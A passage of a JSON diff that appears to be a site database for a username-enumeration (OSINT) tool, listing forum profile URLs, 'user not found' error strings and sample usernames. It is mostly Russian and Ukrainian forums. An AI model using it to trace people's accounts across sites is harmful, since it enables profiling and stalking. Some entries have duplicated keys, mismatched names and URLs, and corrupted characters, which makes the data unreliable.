"urlMain": "https://rg.myqip.ru", + "usernameON": "marii", + "bad_site": "" + }, + "Forum_rhytmic": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr><td colspan", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://rhytmic.borda.ru/?32-{}", + "urlMain": "https://rhytmic.borda.ru", + "usernameON": "mammy", + "bad_site": "" + }, + "Forum_ribalka": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://ribalka.ucoz.org/index/8-0-{}", + "urlMain": "http://ribalka.ucoz.org", + "usernameON": "Андрей0508", + "bad_site": "" + }, + "Forum_richelieu": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://rieltori.narod2.ru/index/8-0-{}", + "urlMain": "http://rieltori.narod2.ru", + "usernameON": "natayovzhik", + "bad_site": "" + }, + "Forum_riga-luna": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://riga-luna.ucoz.ru/index/8-0-{}", + "urlMain": "https://riga-luna.ucoz.ru", + "usernameON": "Talahassy", + "bad_site": "" + }, + "Forum_rima-pendzhieva": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://rima-pendzhieva.ucoz.ru/index/8-0-{}", + "urlMain": "https://rima-pendzhieva.ucoz.ru", + "usernameON": "morozov2112", + "bad_site": "" + }, + "Forum_rio4": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://rio4.ucoz.ru/index/8-0-{}", + "urlMain": "https://rio4.ucoz.ru/", + "usernameON": "Fakskaxip", + "bad_site": "" + }, + "Forum_rivianowners": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.rivianownersforum.com/members/?username={}", + "urlMain": "https://www.rivianownersforum.com", + "usernameON": "swampnut", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_rkls76": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://rkls76.ucoz.ru/index/8-0-{}", + "urlMain": "https://rkls76.ucoz.ru", + "usernameON": "JosephBon", + "bad_site": "" + }, + "Forum_rks": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Извините, такого пользователя не существует ", + "errorMsg2": " :: ", + "errorTyp��": "message", + "url": "https://forum.rks.kr.ua/profile.php?mode=viewprofile&u={}", + "urlMain": "https://forum.rks.kr.ua", + "usernameON": "Mistika24", + "bad_site": "" + }, + "Forum_rllmukforum": { + "country": "🇬🇧", + "country_klas": "GB", + "errorMsg": "0 results", + "errorMsg2": "Sorry", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.rllmukforum.com/index.php?/search/&q={}&quick=1&type=core_members", + "urlMain": "https://www.rllmukforum.com", + "usernameON": "yakumo", + "bad_site": "" + }, + "Forum_rmmedia": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Указанный пользователь не найден. Пожалуйста, введите другое имя.", + "errorMsg2": "<title>Полезные пользователи | Rmmedia.ru", + "errorMsg3": "Пожалуйста, подождите", + "errorTyp��": "message", + "url": "https://rmmedia.ru/members/?username={}", + "urlMain": "https://rmmedia.ru", + "usernameON": "adam", + "bad_site": "" + }, + "Forum_rmrp": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forum.rmrp.ru/members/?username={}", + "urlMain": "https://forum.rmrp.ru", + "usernameON": "alqoile", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_roadbikereview": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.roadbikereview.com/members/?username={}", + "urlMain": "https://www.roadbikereview.com", + "usernameON": "finx", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_roadcontrol_BLOCK_RU_IP": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Подходящих тем или сообщений не найдено", + "errorMsg2": "Информация", + "errorMsg3": "page_pageNotFound", + "errorTyp��": "message", + "url": "https://roadcontrol.org/forum/search.php?keywords=&terms=all&author={}", + "urlMain": "https://roadcontrol.org", + "usernameON": "%D0%90ndrew", + "bad_site": "" + }, + "Forum_rock-metalwave": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://rock-metal-wave.ru/index/8-0-{}", + "urlMain": "https://rock-metal-wave.ru", + "usernameON": "0919swdsnb", + "bad_site": "" + }, + "Forum_rodgers": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "профиль забанен или удален", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "exclusion": "[а-яА-Я]", + "url": "https://rodgersforum.borda.ru/?32-{}", + "urlMain": "https://rodgersforum.borda.ru", + "usernameON": "hata1979", + "bad_site": "" + }, + "Forum_rodniki": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://rodniki.do.am/index/8-0-{}", + "urlMain": "http://rodniki.do.am", + "usernameON": "N278", + "bad_site": "" + }, + "Forum_rodnovira": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://rodnovira.ucoz.ru/index/8-0-{}", + "urlMain": "https://rodnovira.ucoz.ru", + "usernameON": "vioooila", + "bad_site": "" + }, + "Forum_rodoslav": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>", + "errorTyp��": "message", + "url": "http://www.rohitab.com/discuss/index.php?app=core&module=search&do=search&andor_type=&search_app_filters[members][searchInKey]=members&search_app_filters[members][members][sortKey]=date&search_term={}&search_app=members&search_app_filters[members][searchInKey]=members&search_app_filters[members][members][sortKey]=date&search_app_filters[members][members][sortDir]=0", + "urlMain": "http://www.rohitab.com", + "usernameON": "adam", + "comments": "bad", + "bad_site": "" + }, + "Forum_rokslide": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://rokslide.com/forums/members/?username={}", + "urlMain": "https://rokslide.com", + "usernameON": "ukisan", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_rollerclub": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorMsg3": "Срок регистрации домена истек", + "errorTyp��": "message", + "url": "http://forum.rollerclub.ru/search.php?keywords=&terms=all&author={}", + "urlMain": "http://forum.rollerclub.ru", + "usernameON": "snb", + "bad_site": "" + }, + "Forum_Rollitup": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "url": "https://www.rollitup.org/members/?username={}", + "urlMain": "https://www.rollitup.org", + "usernameON": "adam", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_romhacking": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://romhacking.ru/index/8-0-{}", + "urlMain": "https://romhacking.ru", + "usernameON": "debbietk1", + "bad_site": "" + }, + "Forum_romkaq": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://romkaq.ucoz.ru/index/8-0-{}", + "urlMain": "http://romkaq.ucoz.ru", + "usernameON": "luntik333vlz", + "bad_site": "" + }, + "Forum_root_cern": { + "country": "🇪🇺", + "country_klas": "EU", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://root-forum.cern.ch/u/{}/summary", + "urlMain": "https://root-forum.cern.ch", + "usernameON": "bellenot", + "bad_site": "" + }, + "Forum_rosalinux": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Информация", + "errorMsg2": "Подходящих тем или сообщений не найдено.", + "errorMsg3": "Вы не можете произвести поиск сразу после предыдущего", + "errorTyp��": "message", + "url": "https://forum.rosalinux.ru/search.php?keywords=&terms=all&author={}", + "urlMain": "https://forum.rosalinux.ru", + "comments": "cf", + "usernameON": "Kelpee", + "bad_site": "" + }, + "Forum_rosen": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://forum.rosen.com/u/{}/summary", + "urlMain": "https://forum.rosen.com", + "usernameON": "rdu2018", + "bad_site": "" + }, + "Forum_roses": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://roses.ucoz.ru/index/8-0-{}", + "urlMain": "https://roses.ucoz.ru", + "usernameON": "Roses", + "bad_site": "" + }, + "Forum_rostov": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://forum-rostov.ucoz.org/index/8-0-{}", + "urlMain": "https://forum-rostov.ucoz.org", + "usernameON": "Надя", + "bad_site": "" + }, + "Forum_rotarusofi": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://rotarusofi.ucoz.ru/index/8-0-{}", + "urlMain": "https://rotarusofi.ucoz.ru", + "usernameON": "Zvezdochka", + "bad_site": "" + }, + "Forum_rottweiler": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "http://rottweiler.ucoz.ru/index/8-0-{}", + "urlMain": "http://rottweiler.ucoz.ru/", + "usernameON": "Лекс2003", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_router": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.routerforums.com/members/?username={}", + "urlMain": "https://www.routerforums.com", + "usernameON": "difalkner", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_royalcaribbeanblog": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.royalcaribbeanblog.com/boards/index.php?/search/&q={}&quick=1&type=core_members", + "urlMain": "https://www.royalcaribbeanblog.com/", + "usernameON": "mamashark", + "bad_site": "" + }, + "Forum_rpg_net": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forum.rpg.net/members/?username={}", + "urlMain": "https://forum.rpg.net", + "usernameON": "muddypaw", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_rpgcodex": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://rpgcodex.net/forums/members/?username={}", + "urlMain": "https://rpgcodex.net", + "usernameON": "jed", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_rpgnuke": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "0 результатов", + "errorMsg2": "Пожалуйста, подождите", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://forum.rpgnuke.ru/search/?q={}&type=core_members", + "urlMain": "https://forum.rpgnuke.ru", + "usernameON": "adam", + "bad_site": "" + }, + "Forum_Rt20_getbb": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "http://www.rt20.getbb.ru/search.php?keywords=&terms=all&author=Tekumze111", + "urlMain": "http://www.rt20.getbb.ru", + "usernameON": "vevk", + "comments": "RUblock", + "bad_site": "" + }, + "Forum_ru-xbox": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://ru-xbox.ru/index/8-0-{}", + "urlMain": "https://ru-xbox.ru", + "usernameON": "D1mkanx", + "comments": "Oplata", + "bad_site": "" + }, + "Forum_ru_minecraft": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://ru-minecraft.ru/user/{}", + "urlMain": "https://ru-minecraft", + "usernameON": "dedepete", + "bad_site": "" + }, + "Forum_rudtp": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forum.rudtp.ru/members/?username={}", + "urlMain": "https://forum.rudtp.ru/", + "usernameON": "irma190", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_rugby": { + "country": "🇮🇹", + "country_klas": "IT", + "errorMsg": "Nessun argomento o messaggio con", + "errorMsg2": "Please wait", + "errorTyp��": "message", + "url": "https://forum.rugby.it/search.php?keywords=&terms=all&author={}", + "urlMain": "https://forum.rugby.it", + "usernameON": "admin", + "comments": "super", + "bad_site": 1 + }, + "Forum_rumyantsevo": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://rurip.ucoz.ru/index/8-0-{}", + "urlMain": "https://rurip.ucoz.ru", + "usernameON": "lomaempochtu", + "bad_site": "" + }, + "Forum_rus-sv-relig": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://rus-sv.ucoz.ru/index/8-0-{}", + "urlMain": "https://rus-sv.ucoz.ru/", + "usernameON": "%D0%9E%D0%BB%D0%B0", + "bad_site": "" + }, + "Forum_rus_pravda": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://русскаяправда.su/index/8-0-{}", + "urlMain": "http://русскаяправда.su", + "usernameON": "PashaAlexpit", + "bad_site": "" + }, + "Forum_rusartknife": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://rushistory.3dn.ru/index/8-0-{}", + "urlMain": "https://rushistory.3dn.ru", + "usernameON": "uesterr", + "bad_site": "" + }, + "Forum_rusich_ua": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://rusich.at.ua/index/8-0-{}", + "urlMain": "https://rusich.at.ua", + "usernameON": "gh1990", + "bad_site": "" + }, + "Forum_ruskeys": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr><td colspan", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://ruskeys.forum24.ru/?32-{}", + "urlMain": "https://ruskeys.forum24.ru/", + "usernameON": "aboc4", + "bad_site": "" + }, + "Forum_ruspatriot": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://ruspatriot.ucoz.ru/index/8-0-{}", + "urlMain": "https://ruspatriot.ucoz.ru/", + "usernameON": "emailomaempochty", + "bad_site": "" + }, + "Forum_russiainwar": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://russian-france.ru/index/8-0-{}", + "urlMain": "http://russian-france.ru", + "usernameON": "Airin", + "bad_site": "" + }, + "Forum_russianskyeterriers": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://russims.ru/index/8-0-{}", + "urlMain": "http://russims.ru", + "usernameON": "Nikolette", + "bad_site": "" + }, + "Forum_russkie": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://russkie.ucoz.ru/index/8-0-{}", + "urlMain": "https://russkie.ucoz.ru", + "usernameON": "russkie", + "bad_site": "" + }, + "Forum_rvnetwork": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorTyp��": "message", + "url": "https://www.rvnetwork.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://www.rvnetwork.com/", + "usernameON": "GeorgiaHybrid", + "bad_site": "" + }, + "Forum_rwg_cc": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://rwg.cc/search/?q={}&quick=1&type=core_members", + "urlMain": "https://rwg.cc", + "usernameON": "Mike", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_rx7fb": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Information", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "http://www.rx7fb.com/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search", + "urlMain": "http://www.rx7fb.com", + "usernameON": "Hellramsden", + "bad_site": "" + }, + "Forum_ryazandog": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorTyp��": "message", + "url": "https://rybnoe.net/index/8-0-{}", + "urlMain": "https://rybnoe.net", + "usernameON": "alavatsky", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_rzn": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "https://forum.rzn.info/search.php?keywords=&terms=all&author={}", + "urlMain": "https://forum.rzn.info", + "usernameON": "Williamhar", + "bad_site": "" + }, + "Forum_rzngmu": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://rzngmu.ru/index/8-0-{}", + "urlMain": "http://rzngmu.ru/", + "usernameON": "artem300", + "bad_site": "" + }, + "Forum_s-kh": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://www.s-kh.ru/index/8-0-{}", + "urlMain": "http://www.s-kh.ru", + "usernameON": "fillkenna", + "bad_site": "" + }, + "Forum_s4me": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://www.s4me.info/members/?username={}", + "urlMain": "https://www.s4me.info", + "usernameON": "adrian", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_s7staff": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "К сожалению", + "errorMsg2": "| Cloudflare", + "errorTyp��": "message", + "url": "https://s7staff.kamrbb.ru/?x=find&f={}&type=topics&nick=on#top", + "urlMain": "https://s7staff.kamrbb.ru", + "usernameON": "yadn", + "bad_site": "" + }, + "Forum_saabcentral": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.saabcentral.com/members/?username={}", + "urlMain": "https://www.saabcentral.com", + "usernameON": "aerokyle", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_sabnzbd": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Information", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://forums.sabnzbd.org/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search", + "urlMain": "https://forums.sabnzbd.org", + "usernameON": "adam", + "bad_site": "" + }, + "Forum_saddoboxing": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "This user has not registere", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.saddoboxing.com/boxingforum/member.php?username={}", + "urlMain": "https://www.saddoboxing.com", + "usernameON": "Beanz", + "comments": "ZAK_user", + "bad_site": 1 + }, + "Forum_safakulevo": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://safakulevo.ucoz.ru/index/8-0-{}", + "urlMain": "https://safakulevo.ucoz.ru", + "usernameON": "ninokids", + "bad_site": "" + }, + "Forum_sailboards": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Information", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://sailboardsforum.com/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search", + "urlMain": "https://sailboardsforum.com", + "usernameON": "Arf", + "bad_site": "" + }, + "Forum_sailingforums": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://sailingforums.com/members/?username={}", + "urlMain": "https://sailingforums.com", + "usernameON": "sweetime", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_sailnet": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.sailnet.com/members/?username={}", + "urlMain": "https://www.sailnet.com", + "usernameON": "colemj", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_saintsrowmods": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://www.saintsrowmods.com/forum/members/?username={}", + "urlMain": "https://www.saintsrowmods.com", + "usernameON": "elchuy", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_salekhardnews": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "https://salekhardnews.ucoz.ru/index/8-0-{}", + "urlMain": "https://salekhardnews.ucoz.ru", + "usernameON": "ACID", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_salfetka": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://salfetka.at.ua/index/8-0-{}", + "urlMain": "https://salfetka.at.ua", + "usernameON": "Yarinka", + "bad_site": "" + }, + "Forum_salo": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://salo.ucoz.ru/index/8-0-{}", + "urlMain": "https://salo.ucoz.ru", + "usernameON": "Vitalinestik", + "bad_site": "" + }, + "Forum_salon-gala": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://salon-gala.moy.su/index/8-0-{}", + "urlMain": "https://salon-gala.moy.su", + "usernameON": "hairs", + "bad_site": "" + }, + "Forum_salsa": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.salsaforums.com/members/?username={}", + "urlMain": "https://www.salsaforums.com", + "usernameON": "so1001", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_samara-clad": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://samara-clad.ru/index/8-0-{}", + "urlMain": "http://samara-clad.ru", + "usernameON": "Dersu", + "comments": "Oplata", + "bad_site": "" + }, + "Forum_samara-gaming": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://samara-gaming.clan.su/index/8-0-{}", + "urlMain": "https://samara-gaming.clan.su", + "usernameON": "deirdremo3", + "bad_site": "" + }, + "Forum_samarahunter": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "404 Not Found", + "errorTyp��": "message", + "url": "http://samarahunter.ru/forums/member.php?username={}", + "urlMain": "http://samarahunter.ru", + "usernameON": "Lonsdale", + "bad_site": "" + }, + "Forum_samatow": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://samatow.my1.ru/index/8-0-{}", + "urlMain": "https://samatow.my1.ru/", + "usernameON": "plats", + "bad_site": "" + }, + "Forum_samimiyat": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://samimiyat.ucoz.net/index/8-0-{}", + "urlMain": "https://samimiyat.ucoz.net", + "usernameON": "MaRJoNa", + "bad_site": "" + }, + "Forum_samovar": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://www.samovar-forum.ru/index/8-0-{}", + "urlMain": "https://www.samovar-forum.ru", + "usernameON": "MrKoteika", + "bad_site": "" + }, + "Forum_samp-rp": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://samp-rp.online/members/?username={}", + "urlMain": "https://samp-rp.online", + "usernameON": "allen_tyanytov", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_samp-sektor": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://www.samp-sektor-2.ru/index/8-0-{}", + "urlMain": "http://www.samp-sektor-2.ru", + "usernameON": "wellnemo7", + "bad_site": "" + }, + "Forum_samp-top": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403", + "errorTyp��": "message", + "url": "https://samp-top.at.ua/index/8-0-{}", + "urlMain": "https://samp-top.at.ua", + "usernameON": "Diablo", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_samru": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Информация отсутствует", + "errorMsg2": "Пожалуйста, подождите", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.samru.ru/new/forum/userinfo/user_{}.html", + "urlMain": "https://www.samru.ru", + "usernameON": "Ken", + "bad_site": "" + }, + "Forum_sanatorii": { + "country": "🇧🇾", + "country_klas": "BY", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "<title>Санатории Беларуси Белоруссии • Информация", + "errorMsg3": "SQL ERROR", + "errorTyp��": "message", 